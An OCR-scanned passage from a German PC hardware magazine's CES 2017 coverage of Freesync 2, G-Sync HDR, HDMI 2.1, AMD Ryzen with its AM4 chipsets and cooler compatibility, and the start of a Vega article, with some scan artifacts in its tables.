zu vermeiden und das Eingabe-Lag 
gering zu halten. Aus 30 Fps wer- 
den so etwa 60 Hertz. 


Freesync 2: Software 

Das Ganze kommt allerdings nicht 
ohne Haken: Die zugrunde liegen- 
de Spiele-Engine muss Freesync 2 


unterstützen, damit sie das Tone- 
Mapping an den Monitor anpas- 
sen kann. Entwickler müssen also 
zunàchst einmal Zeit und Geld in- 
vestieren, um einen Nischenmarkt 
bedienen zu können. Wie groß der 
Aufwand ausfällt, hat AMD nicht 
erläutert. Ebenso konnte man auf 
dem Tech Summit Anfang Dezem- 


HDMI 2.1: Was steckt dahinter? 


Nicht nur AMD und Nvidia hatten Neuigkeiten zum Thema HDR, auch 
das HDMI-Forum zeigte auf der CES die Spezifikationen für HDMI 2.1. 


Zur CES 2017 hat das HDMI-Forum die HDMI-Spezifikation 2.1 vorgestellt, die 

vor allem eine erhebliche Erhöhung der Bandbreite mit sich bringt. Für Spieler ist 
der Game Mode VRR sehr interessant. VRR steht für Variable Refresh Rate und 

hat das gleiche Ziel wie AMDs Freesync und Nvidias G-Sync: Der Bildaufbau eines 
Displays wird mit der Bildausgabe einer GPU synchronisiert, um Frame-Tearing 
beziehungsweise Input-Lag durch V-Sync zu vermeiden. Details zur Funktionsweise 
des VRR-Modus sind noch nicht öffentlich, vermutlich baut er aber mindestens auf 
AMDs HDMI-1.4-Erweiterung auf. Der Game Mode VRR kann dabei sowohl für PCs 
als auch für Fernseher und Konsolen genutzt werden. Allerdings müssten erst ent- 
sprechende Fernseher entwickelt werden und es braucht Konsolen, die HDMI 2.1 
und den Game Mode VRR unterstützen. Für Spieler ist die Entwicklung in Richtung 
variabler Bildwiederholraten aber sehr erfreulich. 


ber 2016 noch keine konkreten 
Partner nennen. In der Präsentati- 
on wurden jedoch die Spiele Batt- 
lefield 1, Dragon Age: Inquisition, 
Deus Ex: Mankind Divided und 
Doom in Hintergründen verwen- 
det, sodass zumindest die großen 
Engines Frostbite 3, Dawn und id 
Tech 6 eine baldige Freesync-2-Un- 
terstützung bekommen könnten. 
Hinter allen drei Fällen stehen zu- 
mindest Studios, mit denen AMD 
bereits zusammengearbeitet hat. 
Die meisten Spiele entstehen aber 
auf der Unreal oder Unity-Engine. 


Freesync 2: Erste Monitore 
AMD hat angegeben, dass die ersten 
Freesync-2-zertifizierten Monitore 
noch für das erste Halbjahr 2017 
erwartet werden. Zahlreiche Her- 
steller sollen bereits kommende 
Modelle zur Begutachtung an AMD 
geschickt haben. Samsung wird da- 
bei als Hauptpartner präsentiert. 
Bei den Displays selbst kommt es 
ganz darauf an, wann endlich die 
ersten HDR-fähigen Modelle er- 
scheinen. In den kommenden Mo- 
naten sollten außerdem die größe- 
ren Entwicklerstudios, mit denen 
AMD eine Partnerschaft pflegt, den 
Support in ihre Engines implemen- 
tieren. 


Freesync 1 bleibt derweil wei- 
ter bestehen und dürfte 2017 
auch noch auf dem Großteil der 
Adaptive-Sync-fähigen Monitoren 
stehen, welche die Anforderun- 
gen an Freesync 2 nicht erfüllen. 
GPU-seitig kann jede Grafikkarte, 
die Freesync 1 unterstützt, auch 


Asus ROG Swift PG27UQ mit G-Sync-HDR 


Auf der CES bekräftigten Asus und Acer, G-Sync-HDR-Monitore zu veröffentlichen. Vom 
Asus-Modell gibt es auch schon die ersten technischen Daten. 


Mit dem ROG Swift PG27UQ hat Asus gleich den passenden Monitor zum Thema G-Sync HDR 
vorgestellt. Der 27-Zoll-Monitor wartet mit 3.840x2.160 Bildpunkten und 144-Hz-Unterstützung auf, 
dazu kommen wie erwähnt HDR und Quantum-Dot-Technik für einen größeren Farbraum. Das Panel 
hat Nvidia zusammen mit AU Optronics entwickelt, im Gegensatz zu HDR-Fernsehern, die laut Nvidia 
eine Latenz von 22-41 ms haben, seien 


mit Freesync 2 umgehen. Das sind 
alle Grafikchips ab GCN 1.1, die 
seit Oktober 2013 erschienen sind. 
AMD selbst spricht bei GCN 1.1 
von GCN „Gen 2“. 


Nvidia: G-Sync HDR 

Auf der CES hat Nvidia den Free- 
sync-2-Konter G-Sync HDR vorge- 
stellt. Hier die wichtigsten Neue- 
rungen im Überblick: 


I Wie bei Freesync 2 eine HDR- 
Komponente (neues G-Sync- 
Modul) 

I Nebeneffekt: Erstmals UHD mit 
144 Hz dank Displayport 1.3 

I Erste Monitore ab Q3 2017 


Hinter G-Sync HDR verbirgt sich 
eine Kombination aus neuem G- 
Sync-Modul, einem bestimmten, 
HDR10-tauglichen IPS-Panel von 
AU Optronics und einer Unterstüt- 
zung seitens der Spieleentwick- 
ler. Im Gegensatz zu AMD, die bei 
Freeync 2 von einer Markteinfüh- 
rung im ersten Halbjahr 2017 spre- 
chen, spricht Nvidia bei G-Sync 
HDR von einem Start im dritten 
Quartal. 


Der Name von G-Sync НОК weiß 
schon einmal zu gefallen, denn 
Nutzer wissen sofort, was damit 
gemeint ist - das kann man von 
Freesync 2 nicht unbedingt sagen. 
Während Freesync 2 abseits von be- 
stimmten Vorgaben bei der Latenz 
und der HDR-Wiedergabe aber 
keine Spezifikationen vorschreibt, 
ist bei G-Sync HDR alles streng ge- 
regelt. 


entsprechende G-Sync-HDR-Displays nahezu 
latenzfrei. Die maximale Helligkeit beläuft 
sich auf 1.000 cmd/m?, wobei die Hinter- 
grundbeleuchtung in 384 Zonen geregelt 
werden kann. Das sollte fein genug sein, um 
ein überzeugendes HDR-Erlebnis mit ver- 
schiedenen Helligkeitsstufen zu ermöglichen. 
Kleiner Pferdefuß: Das ROG Swift PG27UQ 
kommt erst im dritten Quartal 2017 und wird 
voraussichtlich 1.999 Euro kosten. 


27 Zoll 


Bilddiagonale 
Paneltyp IPS 


3.840 x 2.160 Pixel 

144 Hz 

Bis 1.000 Candela/m? 

2x Displayport 1.4, 1x HDMI 2.x 
G-Sync HDR, Quantum-Dot 

Q3 2017 

1.999 Euro (voraussichtlich) 


Auflósung 
Refreshrate 
Leuchtkraft 
Anschlüsse 
Features 
Release 
Preis 
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Simulation: SDR versus HDR 


Es ist auf Standbildern schwierig, mögliche Unterschiede zwischen Bildern mit Standard-Dynamikbereich (SDR) und höherem Dynamikbereich aufzuzeigen, da man eigentlich 
das dazu passende Ausgabegerät braucht. Nvidia hat sich bei dieser Unreal-Engine-Demo für eine Simulation beider Dynamikbereiche entschieden — und übertreibt bewusst. 
Durch HDR wollen Technik- und Inhaltsanbieter Schärfe, Farbsättigung und auch Farbspektrum (achten Sie auf dunkle und helle Bereiche) gleichzeitig erheblich verbessern. 


Normales SDR (Standard Dynamic Range) 


Das fängt beim Panel an, das Nvi- 
dia zusammen mit AU Optronics 
entwickelt hat und das auf dem 
Papier viele spannende Features 
vereint: Auf 27 Zoll werden 3.840 x 
2.160 Pixel dargestellt, die maxima- 
le Bildwiederholrate beläuft sich 
dank Displayport auf 144 Hertz. 
Erwähnt sei, dass für UHD mit 144 
Hz eine GPU-Leistung nötig ist, 
die eine Single-Grafikkarte aktuell 
kaum stemmen kann. 


Die im Panel eingesetzte IPS-Tech- 
nik (von AUO AHVA genannt) wird 
mit Quantum-Dots erweitert, um 
einen größeren Farbraum darstel- 
len zu können. Die Farbraumab- 
deckung soll Standard-RGB um 25 
Prozent übersteigen und so dem 
aus der Filmindustrie bekannten 
Standard DCI-P3 nahe kommen. 
Die maximale Helligkeit beläuft 
sich auf 1.000 Candela/m?. Die Hin- 
tergrundbeleuchtung wird in 384 
Zonen geregelt, was vor allem zu ei- 
nem überzeugenden HDR-Erlebnis 
führen soll. Spätestens die Nutzung 
von zwei Mal Displayport 1.4 und 
HDMI (ob 2.0 oder 2.1 ist nicht be- 
kannt) setzt aber ein neues G-Sync- 
Modul voraus. 


G-Sync HDR: Tone Mapping 
Nvidia bestätigte, dass die ers- 
ten PC-Spiele, die bereits HDR 
unterstützen, für G-Sync HDR fit 
gemacht wurden. Das sind Mass 
Effect: Andromeda (noch nicht 
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veröffentlicht, Release Ende März) 
und Shadow Warrior 2. In diesem 
Zusammenhang spricht Nvidia von 
einer zusätzlichen Latenz gegen 0. 
Anscheinend stimmt das Spiel auch 
hier das Tone-Mapping auf die 
G-Sync-HDR-Monitore ab, 
diese keine eigene Bearbeitung 
mehr vornehmen müssen. Da es 


sodass 


zumindest vorerst nur eine mögli- 
che Konfiguration mit G-Sync HDR 
geben wird, reicht bereits eine Er- 
kennung des Monitors aus, um das 
Tone-Mapping korrekt einstellen 
zu können. Theoretisch muss der 
Monitor also nicht die erforderli- 


chen Werte über den Treiber an 
das Spiel übermitteln. 


Freesync 2 erscheint da deutlich 
flexibler: Da keine einheitliche 
Monitorkonfiguration vorgegeben 
wird, kommunizieren die Geräte 
nicht nur die unterstützte Freesync- 
Spanne über die EDID-Dateien, 
sondern auch die HDR-Fähigkeiten, 
sodass viele verschiedene Modelle 
HDR ohne erhóhten Input-Lag dar- 
stellen kónnen. Ob G-Sync HDR au- 
tomatisch zwischen HDR und SDR 
im Windows wechseln kann, gibt 
Nvidia nicht an. 


direkt zum Release auch HDR auf dem PC unterstützen soll. 


G-Sync HDR: Erste Monitore 
Acer und Asus werden laut Nvidia 
als erste Hersteller G-Sync-HDR- 
Displays mit 27 Zoll Bilddiagona- 
le anbieten. Asus geht von einer 
Markteinführung des PG27UQ im 
dritten Quartal 2017 aus. Mit 1.999 
Euro handelt es sich um keinen 
günstigen Spaß, dafür bekommt 
man zumindest auf dem Papier vie- 
le Features geboten. Zum entspre- 
chenden Acer-Display gibt es noch 
keine náheren Infos, wir rechnen 
rund um die IFA mit weiteren An- 
kündigungen anderer bekannter 
Display-Hersteller. (tb/mm) 
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Auf der CES sprach AMD erstmals nicht nur über Ryzen, sondern auch über den High- 


End-Chipsatz X370 für den neuen Sockel AM4. 


THREADS/CORES CLOCKSPEEDS 


PREMIUM TECH 
IN AMD RYZEN 


AMD SenseMI 
Technology 


Ryzen zusammengefasst: Bis zu acht Kerne und 16 Threads, mindestens 3,4 GHz Takt, 
bis zu 20 MiB Cache (L2 + L3) und (nicht im Bild) ein offener Multiplikator. 


N 


Noctua will unter anderem 
den NH-D15-Kühler fit für 
den Sockel AM4 machen. 


—— 1. Step 


AMD Socket AM4 Cornpatibily 


Ryzen und AM4 


\Ҳ Jie bei der nächsten GPU- 

Generation Vega (siehe Sei- 
te 74) wendet AMD auch bei der 
nächsten CPU-Generation Ryzen 
eine Salamitaktik bei seinen techni- 
schen Infos an. Schon in der letzten 
PCGH-Ausgabe konnten wir zumin- 
dest ein paar Basisinfos und Details 
zum Boost genannten Turbomodus 
erläutern, der per Auto-Übertak- 
tung (wie bei Intel übrigens auf 
eigene Gefahr) mehr Leistung aus 
den neuen Prozessoren kitzelt. Auf 
der CES erweiterte AMD das Ba- 
siswissen über Ryzen-CPUs, blieb 
aber weiter konkrete Produktna- 
men oder technische Details schul- 
dig. Immerhin gab es endlich auch 
Infos zur AM4-Plattform, hier spe- 
ziell zu dem X370-Chipsatz, ersten 
Mainboards und dem Thema Küh- 
lerkompatibilität. 


Ryzen: Die Fakten 
Dank 
AMD lassen sich immerhin folgen- 
de wichtige Basisinfos zu Ryzen 


neuer Informationen von 


festhalten - und diese gelten aus- 
nahmslos für alle Ryzen-CPUs. 


I Mindestens 3,4 GHz Basistakt 

I Bis zu 20 MiB Cache (12 +13) 

I Bis zu 8 Kerne / 16 Threads 

I Offener Multiplikator 

I Release nicht (!) erst Ende März 

I Kein „Paper Launch“ 

I Volles Spektrum an CPUs zum 
Launch 


Check if your block has this hole pattern: 


АМА COMPATIBLE! 


NOT COMPATIBLE! 


2. Step . LO 


You need: 


e Mounting plate Supremacy AMD (EAN 383004699063) 
+ EK-Supremacy EVO Backplate (EAN 3830046990648) 


EK Water Blocks zeigt in diesem Diagramm schön, wie sich die Bohrungen beim Sockel AM4 [blau] zum Sockel AM3(+) [grün] 


verändert haben. Das ist für Kühler wichtig, die mit dem Mainboard verschraubt werden. 
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Man sieht, dass die Veröffentli- 
chung von Ryzen und der dazuge- 
hörigen AM4-Plattform nicht mehr 
lange auf sich warten lässt. Von 
AMD gibt es zwar nur die Aussage, 
dass der Verkauf nicht erst zum 
Ende des ersten Quartals startet 
(also vor Ende März), aber es gibt 
deutliche Anzeichen dafür, dass be- 
reits Ende Februar zumindest eine 
gewisse Verfügbarkeit gewährleis- 
tet sein kann. Nach unseren Ge- 
sprächen mit Mainboard-Herstel- 
lern stehen diese offenbar schon 
Gewehr bei Fuß, um AM4-Boards 
auszuliefern; man wartet nur noch 
auf die Prozessoren. 


Die Zen-Architektur, auf der Ryzen- 
CPUs basieren, soll AMD zufolge 
rund vier Jahre im Einsatz sein. 
In dieser Zeit will AMD nicht nur 
wie üblich die Fertigung verbes- 
sern, sondern auch weiter an der 
Architektur schrauben. Aber das 
ist noch Zukunftsmusik. Eine gute 
Nachricht ist es, dass AMD nach 
eigenem Bekunden keinen „Paper 
Launch“ plant - zum Verkaufsstart 
sollen die Ryzen-CPUs also auch in 
größerer Zahl verfügbar sein. 


Ryzen: Die Gerüchte 

Wenn AMD bei den CPUs bewusst 
technische Daten offen lässt, schie- 
ßen die Gerüchte ins Kraut. So 
meldete das französische Magazin 
Canard PC, die durch den Test ei- 
angebliches Ryzen-Prototyps 
für Aufsehen sorgten, mehrere, 
bisher unbestätigte Details. So soll 
AMD Ryzen-Vierkerner ohne Hyper- 
Threading, quasi das Pendant zu 
Intels Core-i5-Reihe, mit finalem 
Stepping zum Testen an Mainboard- 
Hersteller verschickt haben. Au- 
ßerdem sollen Sechskerner (6 Ker- 
ne / 12 Threads) noch mit einem 
65-Watt-TDP-Budget auskommen. 


nes 


Spekuliert wird auch darüber, mit 
welchem Stepping und welchen 
Taktraten das Ryzen-Top-Modell 
mit acht Kernen und 16 Threads im 
Handel aufschlägt. So soll die CPU 
im Demosystem auf der CES im BO- 
Stepping mit 3,6 GHz Basis- und 3,9 
GHz Boost-Takt gerechnet haben. 
Das soll aber noch nicht das letz- 
te Wort gewesen sein. Angeblich 
gebe es bereits ein B1-Stepping mit 
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3,6/4,0 GHz (Basis/Boost), das aber 
jenseits der 95-Watt-TDP-Grenze 
lande, die man dem Ryzen-Top-Mo- 
dell zuspricht. Einfache Erklärung: 
Es wäre möglich, dass AMD solch 
hohe Taktraten ab Werk als eine Art 
Extreme-Edition mit höherem TDP- 
Budget verkauft. 


АМ4: Kompatible Kühler 

Schon seit Mitte 2016 weiß man, 
dass AMD mit dem Sockel AM4 
im Falle von CPU-Kühlern, die mit 
dem Mainboard verschraubt wer- 
den, Änderungen gegenüber dem 
Sockel AM3(+) einführt. Konkret 
unterscheiden sich die Bohrun- 
gen: AMD nutzt bei den Lochab- 
ständen andere Maße als noch bei 
АМЭ(+). Wer also eine Ryzen-CPU 
oder eine Bristol-Ridge-APU in ei- 
nen Sockel AMÁ setzt und einen 
Kühler verbauen will, der auf der 
Mainboard-Rückseite verschraubt 
wird, braucht fast immer ein Um- 
rüst-Kit, das je nach Kühlerherstel- 
ler kostenlos oder kostenpflichtig 
für die meisten Modelle zur Verfü- 
gung gestellt wird. Da jeder Her- 
steller das Thema Umrüst-Kit an- 
ders handhabt, sollten Sie sich im 
Zweifel direkt an Ihren Kühlerher- 
steller wenden. Be quiet, Noctua 
und Enermax haben aber bereits 
erklärt, entsprechende Kits kosten- 
frei zur Verfügung zu stellen. Kein 
Problem stellen übrigens Kühler 
dar, die mithilfe des bei den meis- 
ten Mainboards 
AMD Retention Moduls installiert 
werden, denn die Haltenasen des 


vormontierten 


neuen Retention-Moduls sind zum 
alten Standard kompatibel. 


Auch die neue Lochanordnung ist 
übrigens rechteckig und nicht wie 
bei Intel quadratisch. AM4-Kühler 
lassen sich somit nur in einer Aus- 
richtung und nicht um 90° gedreht 
montieren, es sei denn, der Her- 
steller legt ein zweites Set entspre- 
chend angepassten Montagemate- 
rials bei. 


Bei künftigen Kühlern will AMD 
durch die Zusammenarbeit mit den 
Top-15-Kühlerherstellern sicher- 
stellen, dass AMÁ-Prozessoren kom- 
patibel sind. Exemplarisch erwähnt 
wird Noctua, die den NH-D15 und 
den schlanken NH-U12S für Ryzen 
anbieten. Auch EK Water Blocks 
ist beim AM4-Support mit an Bord. 
Corsair will mit H60, H100i und 
H110i direkt AMÁ unterstützen. 
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AM4: Die Chipsätze 

Im Rahmen der CES 2017 haben 
AMD und seine Partner die ersten 
AM4-Mainboards ausgestellt - ohne 
dabei schon auf alle Details einzu- 
gehen, was man erst zum Verkaufs- 
start machen wird. Immerhin hat 
AMD erstmals Details zu den neu- 
en High-End-Chipsátzen für seine 
AM4-Plattform präsentiert. 
boards mit X370 werden als einzi- 


Main- 


ges 2-Way-Crossfire respektive -SLI 
unterstützen — (x8/x8-Aufteilung). 
Der X300 ist für Mini-ITX-Platinen 
gedacht und führt die CPU-inter- 
nen Anschlüsse nach außen. 


Sechs neue ,I/O-Hubs* bringt AMD 
mit seiner AM4-Plattform. „Chipsät- 
ze* im klassischen Sinne sind diese 
genauso wie bei Intel nicht mehr, 
da es sich nicht mehr um einen 
Satz aus mehreren Chips, sondern 
um einen einzelnen handelt. Der 
X370, B350 und A320 ergänzen die 
prozessorinternen Fähigkeiten von 
Summit Ridge als erste Ryzen-Gene- 
ration und Bristol Ridge als Excava- 
tor-APU - beide haben bereits eine 
interne Southbridge. Intel-CPUs 
stellen nur die PCI-Express-3.0-La- 
nes zur Verfügung. Die Anbindung 
an die CPUs erfolgt bei beiden über 
vier PCI-Express-3.0-Lanes. 


Die ersten Ryzen-CPUs in Form 
von Summit Ridge bieten 24 PCI- 
Express-3.0-Lanes. 16 sind für Gra- 
fikkarten gedacht, je vier weitere 
für die Anbindung des Chipsatzes 
und für Datenträger. Letztere vier 
können zusammen für einen M.2- 
beziehungsweise U.2-Anschluss 
genutzt oder auf SATA-Express (2 x 
SATA 6 Gbit/s) plus PCI-Express 3.0 
x2 aufgeteilt werden. Hängen M.2 
oder U.2 direkt an der CPU, nutzen 
die Mainboard-Hersteller Begriffe 
wie „Ultra“ oder „Turbo“ M.2/U.2. 
Im Falle der Bristol-Ridge-APUs 
PCI-Express-3.0-Bah- 
nen an Bord, davon acht für eine 


sind zehn 
Grafikkarte und zwei für einen 
PCI-Express-x2- oder zwei SATA- 
6Gbit/s-Anschlüsse. Beide Prozes- 
sorfamilien haben zudem 4 x USB 
3.0 integriert. 


Während die großen Summit- 
Ridge-CPUs mit bis zu acht Rechen- 
kernen und 16 Threads eher mit 
Intels Broadwell-E (Sockel 2011-3, 
X99-Plattform) konkurrieren, wird 
sich die Ausstattung der AMÁ-Main- 
boards in etwa auf dem Niveau 


aktueller Z270-, B250- und H110- 
Mainboards befinden. 


AMD X370 vs. Intel 2270 
Bei Sockel-1151-Mainboards 
einem Platform Controller Hub 
(PCH, offizielle Intel-Bezeichnung) 
des Typs Z270 entscheiden sich die 
Hersteller in der Regel für 8 x USB 
3.0, 6 x SATA 6 Gbit/s und - 2 x 
Gigabit-LAN (Ethernet). In dem 
Fall bleiben zwei Viererpakete an 
PCI-Express-3.0-Lanes für NVMe- 
SSDs übrig. Bei manchen High- 


mit 


End-Platinen fehlen weitere zwei 
bis vier USB-3.0-Anschlüsse, 
vier weitere PCI-Express-3.0-Lanes 


um 


CHIPSETS FOR THE AMD AM4 PLATFORM 


Enthusiast Native 


Mainstream Native 
Essential Native 
Enthusiast SFF 


Essential SFF 


$ AMA Platform feat 


für eine dritte mögliche NVMe- 
SSD verwenden zu können - die 
Hersteller werben dann mit dem 
möglichen RAID-Verbund aus drei 
NVMe-SSDs. Zwei Lanes können 
für einen USB-3.1-Controller von 
Asmedia (ASM1142) oder vier für 
einen Thunderbolt-3-Controller 
von Intel (Alpine Ridge, USB 3.1 
dann als Alternate-Mode) ver- 
wendet werden. Häufig kommt es 
allerdings auch vor, dass sich ver- 
schiedene Anschlüsse die Anbin- 
dung teilen, welche folglich nicht 
gleichzeitig genutzt werden kön- 
nen, beispielsweise bei M.2- und 
U.2-Verbindungen. 


Itipier unlocked 


AMD zeigt in dieser Übersicht alle bekannten Chipsätze für AM4 - so sind nur mit 
dem X370 Overclocking und Multi-GPU möglich. 


AMD AM4 PLATFORM FEATURE SUMMARY 


Segment Processor — Cores/Threads 


Cache 


Pie" 


Und noch eine Übersicht: Dieses Mal die Fähigkeiten der Ryzen-CPU und der Bristol- 
Ridge-APU. Gut erkennbar: Ryzen ist auch Mainstream — mit kleineren Modellen. 


AMD AM4 PLATFORM FEATURE SUMMARY 


Segment Chipset SATA SATAe 


PCle — SATA RAID? 


Dual PCle Slots Overclocking 


Mainstream 
5 126 2 
Essential 


4 Lanes Gen 2 0110 


a I Te I 


Die Fähigkeiten der einzelnen AM4-Chipsätze unterscheiden sich teilweise erheblich 
— hier sollte man vor dem Kauf gut über die Einsatzmöglichkeiten nachdenken. 
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AMDs Chipsätze, zu Bulldozer-Zei- 
ten noch Fusion Controller Hubs 
genannt, bieten weniger Flexibili- 
tät, bringen aber von Haus aus viel 
mit. Eine Ryzen-CPU zusammen 
mit einem X370 stellt 10 x USB 3.0 
und 2 x USB 3.1 zur Verfügung. 
Die CPU hat vier PCI-Express-3.0- 
Lanes, die für eine NVMe-SSD zu- 
sammengefasst oder in zwei 2er- 
Pakete aufgeteilt werden können. 
Für möglichst viele HDDs kann 
ein Hersteller zusammen mit dem 
X370 10 x SATA 6 Gbit/s ausfüh- 
ren. Vier PCI-Express-3.0-Lanes der 
CPU sollten jedoch bei den meisten 
Mainboards für M.2 und/oder U.2 
verwendet werden - alternativ wä- 
ren 2 - 3 x SATA-Express möglich, 
allerdings konnte sich der Standard 
nie durchsetzen. Denkbar sind 
auch zwei separat voneinander 
angebundene M.2/U.2-Anschlüsse 


neben 4 x SATA 6 Gbit/s (zusätzlich 
„shared“ mit M.2/U.2, also nicht 
gleichzeitig nutzbar). 

Acht PCI-Express-2.0-Lanes ste- 
hen für Ethernet-Controller sowie 
langsamere SSDs (PCIE 2.0 x4, 
ein aktuelles NVMe-Modell würde 
ausgebremst) zur Verfügung. Für 
SATA- und USB-Controller kónn- 
te die Bandbreite knapp werden, 
möglich wäre ein Anschluss aber. 
PCI-Express 2.0 ist nicht optimal, 
bei Intel hat es aber auch bis zur 
Skylake-Generation gedauert, bis 
die vielen 3.0- statt 2.0-Bahnen ein- 
geführt wurden. Sowohl Z270 als 
auch X370 erlauben Übertakten 
per Multiplikator. 


AMD S. l 
Sowohl Intels B250 als auch AMDs 
B350 zusammen mit einer Ryzen- 


CPU können 6 x USB 3.0 zur Ver- 
fügung stellen. Bei AMD sind 8 x 
SATA 6 Gbit/s möglich, bei Intel 6 
x. In der Praxis dürften in beiden 
Fällen vier bis sechs tatsächlich 
genutzt werden. B250-Mainboards 
(LGA 1151) können dann noch 12 
PCI Express-Lanes beliebig anbin- 
den. Das ermöglicht 2 x M.2/U.2 
und einen USB-3.1-Controller. Letz- 
terer entfällt bei B350-Mainboards 
(AM4) durch die zwei integrierten 
USB-3.1-Anschlüsse. Vier CPU-PCI- 
Express-3.0-Lanes gibt es für eine 
M.2/U.2-SSD, vier weitere vom 
B350, wenn nur zwei SATA-6Gbit/s- 
benótigt (mehr 
„shared“, also nicht gleichzeitig 


Ports werden 
nutzbar). Für Zusatz-Controller ste- 
hen sechs PCI-Express-2.0-Bahnen 
zur Verfügung. AMDs B350 unter- 
stützt im Gegensatz zu Intels B250 
das Übertakten per Multiplikator. 


Für die meisten PCGH-Leser dürfte 
der A320 für Low-End-Mainboards 
analog zu Intels H110 nicht mehr 
so interessant sein. Die prozessor- 
interne Southbridge wird dort um 
je vier PCI-Express-3.0- und -2.0-La- 
nes, 1 x USB 3.1, 2 x USB 3.0 und 
2 x SATA 6 Gbit/s erweitert. Die 
300er-Modelle werden im Gegen- 
satz zu den grofsen Geschwistern 
nicht über PCI-Express 3.0 x4 an- 
gebunden, sodass dort vier weite- 
re Lanes direkt über die CPU frei 
werden. Die kleinen Ableger sind 
beispielsweise für Mini-ITX-Main- 
boards gedacht, bei denen 4 x USB 
3.0, 2 x SATA 6 Gbit/s und sechs 
PCI-Express-3.0-Lanes zur Verfü- 
gung stehen. Immerhin: Auf Boards 
mit X300-Chipsatz lässt sich der 
freie Multiplikator von AM4-CPUs 
und -APUs ausnutzen. (tb/mm) 


Am Beispiel einiger MSI-Mainboards für den Sockel AM4 wollen wir Ihnen die Unterschiede 


zwischen den Chipsätzen zeigen. 


Beim A320M Pro-VD von Mal fehlen aus 
Spielersicht einige elementare Features 
wie Overclocking. Für einen Micro-ATX- 
PC kann das Board aber spannend sein. 


Das MSI B350 
Tomahawk erlaubt das 
Übertakten von Ryzen- 
Prozessoren; SLI und 
Crossfire sind hier 
aber nicht möglich. 


Das MSI X370 Power Gaming Titanium bietet unter anderem Multi-GPU-Support – die- 
ses Feature fehlt beim B350 und A320. Ansonsten bietet das Board 6 x SATA 6 Gbit/s, 
M.2 und U.2 (je PCI-E 3.0 x4). 
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Vergleich zu Z270 und B250 


im 


X370 und B350 i 


AMD Ryzen 
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Ryzen-SoC 


PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 


SATA 6 Gbit/s 
SATA 6 Gbit/s 


SATA-E 


3.0x2 3.0x2 


PCI-E 3.0 x4 


PCI-Express 2.0 
PCI-Express 2.0 
PCI-Express 2.0 
PCI-Express 2.0 
PCI-Express 2.0 
PCI-Express 2.0 
PCI-Express 2.0 
PCI-Express 2.0 
PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 
SATA 6 Gbit/s 

SATA 6 Gbit/s 

SATA 6 Gbit/s 

SATA 6 Gbit/s 


SATA 6 Gbit/s 
SATA 6 Gbit/s 
SATA 6 Gbit/s 
SATA 6 Gbit/s 


3.0x2 3.0x2 2.0x2 2.0x2 2.0x2 2.0x2 


PCI-E 3.0 x4 


PCI-E 2.0 x4 


PCI-E 2.0 x4 


PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 
SATA 6 Gbit/s 

SATA 6 Gbit/s 

SATA 6 Gbit/s 

SATA 6 Gbit/s 

PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 
SATA 6 Gbit/s 

SATA 6 Gbit/s 

PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 


PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 


PCI-Express 3.0 
PCI-Express 3.0 


PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 


3.0x2 3.0x2 3.0x2 3.0x2 3.0x2 3.0x2 3.0x2 3.0x2 3.0x2 3.0x2 3.0x2 3.0x2 


PCI-E 3.0 x4 PCI-E 3.0 x4 PCI-E 3.0 x4 PCI-E 3.0 x4 PCI-E 3.0 x4 


PCI-E 3.0 x4 


PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 


SATA 6 Gbit/s 
SATA 6 Gbit/s 
SATA 6 Gbit/s 
SATA 6 Gbit/s 


PCI-Express 3.0 (SATA-Uml. mögl.) 
PCI-Express 3.0 (SATA-Uml. mógl.) GbE 


PCI-Express 3.0 
PCI-Express 3.0 
SATA 6 Gbit/s 
SATA 6 Gbit/s 
PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 
GbE 


GbE 


PCI-Express 3.0 
PCI-Express 3.0 GbE 


3.0x2 3.0x2 


3.0x2 3.0x2 3.0x2 3.0x2 


PCI-E 3.0 x4 


PCI-E 3.0 x4 


PCI-E 3.0 x4 


Ryzen-SoC 


PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 


SATA 6 Gbit/s 
SATA 6 Gbit/s 


SATA-E 


3.0x2 3.0x2 
PCI-E 3.0 x4 


PCI-Express 2.0 
PCI-Express 2.0 
PCI-Express 2.0 
PCI-Express 2.0 
PCI-Express 2.0 
PCI-Express 2.0 
PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 
PCI-Express 3.0 


SATA 6 Gbit/s 
SATA 6 Gbit/s 


SATA 6 Gbit/s 
SATA 6 Gbit/s 
SATA 6 Gbit/s 
SATA 6 Gbit/s 


3.0x2 3.0x2 2.0x2 2.0x2 2.0x2 


PCI-E 2.0 x4 


PCI-E 3.0 x4 
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Bild: AMD 


Im Dezember 2016 nahm PC Games Hardware an einem Technologie-Briefing über 
Vega teil und wurde dafür extra nach Sonoma, Kalifornien, geflogen. 


— INTRODUCING — 


16-bit ops 
per clock 


Double Precision Rate is Configurable 


Bild: AMD 


AMDA | RADEON 


Da AMD größere Änderungen an den Compute Units vornimmt, heißen diese nun 
Next-Gen Compute Units oder kurz auch NCUs. 
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AMD Vega 


ereits in der vergangenen 

PCGH-Ausgabe konnten wir 
einen kurzen Überblick über die 
anstehende Vega-Generation ge- 
ben, allerdings sind Details zur Ar- 
chitektur und zur Performance erst 
jetzt möglich. Zur Erinnerung: Vega 
soll dieses Jahr vor allem im High- 
End-Bereich für Furore sorgen, 
den aktuell Nvidia mit der Titan X, 
Geforce GTX 1080 und GTX 1070 
für sich alleine hat. Nicht verges- 
sen darf man, dass Nvidia mit einer 
möglichen Geforce GTX 1080 Ti 
kontern kann - sofern es nötig ist. 
Unsere Quellen bestätigen, dass 
entsprechende Custom-Designs 
bereits fertig sind. Nvidia hat aber 
keinen Grund, die GTX 1080 Ti vor 
Vega zu veröffentlichen. Von daher 
gehen wir davon aus, dass AMD 
zuerst Vega-Grafikkarten veröffent- 
licht (gerüchteweise Ende Mai) 
und Nvidia dann nachzieht. 


Vega: Die Architektur 

PC Games Hardware war im De- 
